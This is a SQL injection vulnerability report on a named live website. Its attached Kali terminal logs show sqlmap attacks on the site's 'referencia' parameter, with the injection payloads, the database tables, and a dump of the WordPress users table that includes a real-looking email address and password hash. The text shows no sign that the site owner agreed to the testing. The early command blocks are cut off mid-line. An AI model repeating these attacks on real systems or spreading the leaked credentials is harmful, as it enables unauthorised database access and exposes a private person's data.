SQL Injection Vulnerability Report: infylac.dx.am

Executive Summary

A security assessment was conducted on the website https://infylac.dx.am, specifically targeting the page https://infylac.dx.am/mostrar-desarrollo.php. The assessment revealed a critical SQL injection vulnerability that allows for unauthorized access to the database, potentially compromising sensitive information.

Vulnerability Details

The website is vulnerable to SQL injection attacks through the 'referencia' parameter in the GET request. This vulnerability allows an attacker to manipulate the SQL query and extract sensitive information from the database.

Proof of Concept

The following sqlmap commands were used to exploit the vulnerability:

```
sqlmap -u "https://infylac.dx.am/mostrar-desarrollo.php?refer
sqlmap -u "https://infylac.dx.am/mostrar-desarrollo.php?refer
```

```
sqlmap -u "https://infylac.dx.am/mostrar-desarrollo.php?refer
sqlmap -u "https://infylac.dx.am/mostrar-desarrollo.php?refer
```

Findings

The following information was extracted from the database:

- Database names: 2347289_infylac, information_schema
- Tables in 2347289_infylac database (16 tables, including WordPress tables)
- Columns in wp_users table, including sensitive information like user_pass
- User data from wp_users table, including email and hashed password

Impact

This vulnerability could allow an attacker to:

- Access and manipulate sensitive user data
- Potentially gain unauthorized access to the WordPress admin panel
- Compromise the integrity and confidentiality of the entire database
- Perform further attacks using the extracted information

Remediation Steps

To address this vulnerability, the following steps are recommended:

- Implement parameterized queries or prepared statements instead of direct SQL queries
- Use input validation and sanitization for all user inputs
- Implement the principle of least privilege for database users
- Regularly update and patch the WordPress core, themes, and plugins
- Implement a Web Application Firewall (WAF) to help detect and block SQL injection attempts
- Conduct regular security audits and penetration testing

Conclusion

The discovered SQL injection vulnerability poses a significant risk to the website and its users. Immediate action is recommended to patch this security flaw and prevent potential exploitation. Regular security assessments should be conducted to identify and address similar vulnerabilities in the future.

Attachments

1)

2)

```
┌──(root㉿kali)-[/home/destroy]
└─# sqlmap -u "https://infylac.dx.am/mostrar-desarrollo.php?referencia=1%206%20referencia2=1" -D 2347289_infylac --tables
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.7#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state an
d federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:43:01 /2024-08-16/

[14:43:01] [INFO] resuming back-end DBMS 'mysql'
[14:43:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: referencia (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: referencia=23  AND 5516=5516& referencia2=4

    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: referencia=23  AND (SELECT 7942 FROM (SELECT(SLEEP(5)))mdub)& referencia2=4

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: referencia=-9177 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0×7171626271,0×4d4b46764a687a6e615a6d6c6e756f757a4163774e666c7777715a58575a76766c7a506a63736366,
0×716b707671),NULL-- -& referencia2=4
---
[14:43:02] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL ≥ 5.0.12
[14:43:02] [INFO] fetching tables for database: '2347289_infylac'
Database: 2347289_infylac
[16 tables]
+-------------------------+
| comentarios             |
| imagenes                |
| infytemas               |
| items                   |
| wp_commentmeta          |
| wp_comments             |
| wp_links                |
| wp_options              |
| wp_postmeta             |
| wp_posts                |
| wp_term_relationships   |
| wp_term_taxonomy        |
| wp_termmeta             |
| wp_terms                |
| wp_usermeta             |
| wp_users                |
+-------------------------+

[14:43:02] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/infylac.dx.am'

[*] ending @ 14:43:02 /2024-08-16/
```

3)

```
┌──(root㉿kali)-[/home/destroy]
└─# sqlmap -u "https://infylac.dx.am/mostrar-desarrollo.php?referencia=1%206%20referencia2=1" -D 2347289_infylac -T wp_users --columns
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.7#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state an
d federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:43:17 /2024-08-16/

[14:43:17] [INFO] resuming back-end DBMS 'mysql'
[14:43:17] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: referencia (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: referencia=23  AND 5516=5516& referencia2=4

    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: referencia=23  AND (SELECT 7942 FROM (SELECT(SLEEP(5)))mdub)& referencia2=4

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: referencia=-9177 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0×7171626271,0×4d4b46764a687a6e615a6d6c6e756f757a4163774e666c7777715a58575a76766c7a506a63736366,
0×716b707671),NULL-- -& referencia2=4
---
[14:43:18] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL ≥ 5.0.12
[14:43:18] [INFO] fetching columns for table 'wp_users' in database '2347289_infylac'
Database: 2347289_infylac
Table: wp_users
[10 columns]
+----------------------+---------------------+
| Column               | Type                |
+----------------------+---------------------+
| display_name         | varchar(250)        |
| ID                   | bigint(20) unsigned |
| user_activation_key  | varchar(255)        |
| user_email           | varchar(100)        |
| user_login           | varchar(60)         |
| user_nicename        | varchar(50)         |
| user_pass            | varchar(255)        |
| user_registered      | datetime            |
| user_status          | int(11)             |
| user_url             | varchar(100)        |
+----------------------+---------------------+

[14:43:18] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/infylac.dx.am'

[*] ending @ 14:43:18 /2024-08-16/
```

4)


┌──(root㉿kali)-[/home/destroy]
└─# sqlmap -u "https://infylac.dx.am/mostrar-desarrollo.php?referencia=1%208%20referencia2=1" -D 2347289_infylac -T wp_users --dump
{1.8.7#stable}
https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:43:42 /2024-08-16/
[14:43:42] [INFO] resuming back-end DBMS 'mysql'
[14:43:42] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: referencia (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: referencia=23 AND 5516=5516b referencia2=4
Type: time-based blind
Title: MySQL ⩾ 5.0.12 AND time-based blind (query SLEEP)
Payload: referencia=23 AND (SELECT 7942 FROM (SELECT(SLEEP(5)))mdub)b referencia2=4
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: referencia=-9177 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171626271,0x4d4b46764a687a6e615a6d6c6e756f757a4163774e666c7777715a58575a76766c7a506a63736366,0x716b707671),NULL-- -&referencia2=4
[14:43:43] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL ⩾ 5.0.12
[14:43:43] [INFO] fetching columns for table 'wp_users' in database '2347289_infylac'
[14:43:43] [INFO] fetching entries for table 'wp_users' in database '2347289_infylac'
[14:43:43] [INFO] recognized possible password hashes in column 'user_pass'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: 2347289_infylac
Table: wp_users
[1 entry]
| ID | user_url | user_pass | user_email | user_login | user_status | display_name | user_nicename | user_registered | user_activation_key |
| 1 | <blank> | PBhvCHagVYjOevKbnGLq/RCbtM9Z.ne1 | pablojj94g@gmail.com | jespa | 0 | jespa | jespa | 2017-11-29 16:29:05 | <blank> |
[14:44:04] [INFO] table '`2347289_infylac`.wp_users' dumped to CSV file '/root/.local/share/sqlmap/output/infylac.dx.am/dump/2347289_infylac/wp_users.csv'
[14:44:04] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/infylac.dx.am'
[*] ending @ 14:44:04 /2024-08-16/
┌──(root㉿kali)-[/home/destroy]
└─#